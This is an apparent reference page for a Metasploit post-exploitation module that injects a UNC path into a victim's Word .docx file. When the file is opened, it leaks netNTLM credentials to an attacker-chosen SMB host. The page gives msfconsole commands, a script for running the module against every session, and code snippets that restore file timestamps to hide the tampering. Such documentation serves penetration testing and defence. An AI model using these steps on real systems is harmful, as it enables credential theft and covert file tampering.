Windows Gather Microsoft Office Word UNC Path Injector - Metasploit


This page contains detailed information about how to use the post/windows/gather/word_unc_injector metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Gather Microsoft Office Word UNC Path Injector
Module: post/windows/gather/word_unc_injector
Source code: modules/post/windows/gather/word_unc_injector.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module modifies a remote .docx file that will, upon opening, submit stored netNTLM credentials to a remote host. Verified to work with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the auxiliary/server/capture/smb module can be used.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/word_unc_injector

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/word_unc_injector
msf post(word_unc_injector) > show options
    ... show and set options ...
msf post(word_unc_injector) > set SESSION session-id
msf post(word_unc_injector) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/word_unc_injector")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • SMBHOST: Server IP or hostname that the .docx document points to

  • FILE: Remote file to inject UNC path into.

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/word_unc_injector post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/word_unc_injector

msf6 post(windows/gather/word_unc_injector) > show info

       Name: Windows Gather Microsoft Office Word UNC Path Injector
     Module: post/windows/gather/word_unc_injector
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  SphaZ <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  BACKUP   true             yes       Make local backup of remote file.
  FILE                      yes       Remote file to inject UNC path into.
  SESSION                   yes       The session to run this module on.
  SMBHOST                   yes       Server IP or hostname that the .docx document points to

Description:
  This module modifies a remote .docx file that will, upon opening, 
  submit stored netNTLM credentials to a remote host. Verified to work 
  with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the 
  hashes the auxiliary/server/capture/smb module can be used.

References:
  https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534

Module Options


This is a complete list of options available in the windows/gather/word_unc_injector post exploitation module:

msf6 post(windows/gather/word_unc_injector) > show options

Module options (post/windows/gather/word_unc_injector):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   BACKUP   true             yes       Make local backup of remote file.
   FILE                      yes       Remote file to inject UNC path into.
   SESSION                   yes       The session to run this module on.
   SMBHOST                   yes       Server IP or hostname that the .docx document points to

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/word_unc_injector post exploitation module:

msf6 post(windows/gather/word_unc_injector) > show advanced

Module advanced options (post/windows/gather/word_unc_injector):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/word_unc_injector module can do:

msf6 post(windows/gather/word_unc_injector) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/word_unc_injector post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/word_unc_injector) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error getting the original MACE values of <FILE>, not a fatal error but timestamps will be different!


Here is a relevant code snippet related to the "Error getting the original MACE values of <FILE>, not a fatal error but timestamps will be different!" error message:

57:	  def get_mace
58:	    begin
59:	      mace = session.priv.fs.get_file_mace(datastore['FILE'])
60:	      vprint_status("Got file MACE attributes!")
61:	    rescue
62:	      print_error("Error getting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
63:	    end
64:	    return mace
65:	  end
66:	
67:	  # here we unzip into memory, inject our UNC path, store it in a temp file and

Bad "word/settings.xml" file, check if it is a valid .docx.


Here is a relevant code snippet related to the "Bad "word/settings.xml" file, check if it is a valid .docx." error message:

81:	    end
82:	
83:	    # file to check for reference file we need
84:	    file_content = zip_data["word/settings.xml"]
85:	    if file_content.nil?
86:	      print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.")
87:	      return nil
88:	    end
89:	
90:	    # if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
91:	    if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?

Cannot find insert point for reference into settings.xml


Here is a relevant code snippet related to the "Cannot find insert point for reference into settings.xml" error message:

106:	        vprint_status("DefaultTabStop found, we use this for insertion.")
107:	        file_content.insert(insert_one, ref)
108:	      end
109:	
110:	      if insert_one.nil? && insert_two.nil?
111:	        print_error("Cannot find insert point for reference into settings.xml")
112:	        return nil
113:	      end
114:	
115:	      # update the files that contain the injection and reference
116:	      zip_data["word/settings.xml"] = file_content

Error extracting <FILE> please verify it is a valid .docx document.


Here is a relevant code snippet related to the "Error extracting <FILE> please verify it is a valid .docx document." error message:

129:	        filezip.each do |entry|
130:	          zip_data[entry.name] = filezip.read(entry)
131:	        end
132:	      end
133:	    rescue Zip::Error => e
134:	      print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.")
135:	      return nil
136:	    end
137:	    return zip_data
138:	  end
139:	

Error setting the original MACE values of <FILE>, not a fatal error but timestamps will be different!


Here is a relevant code snippet related to the "Error setting the original MACE values of <FILE>, not a fatal error but timestamps will be different!" error message:

151:	    if not mace.nil?
152:	      vprint_status("Setting MACE value of #{datastore['FILE']} set to that of the original file.")
153:	      begin
154:	        session.priv.fs.set_file_mace(datastore['FILE'], mace["Modified"], mace["Accessed"], mace["Created"], mace["Entry Modified"])
155:	      rescue
156:	        print_error("Error setting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
157:	      end
158:	    end
159:	  end
160:	
161:	  def rhost

Remote file does not exist!


Here is a relevant code snippet related to the "Remote file does not exist!" error message:

163:	  end
164:	
165:	  def run
166:	    # sadly OptPath does not work, so we check manually if it exists
167:	    if !file_exist?(datastore['FILE'])
168:	      print_error("Remote file does not exist!")
169:	      return
170:	    end
171:	
172:	    # get mace values so we can put them back after uploading. We do this first, so we have the original
173:	    # accessed time too.

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • SphaZ <cyberphaz[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.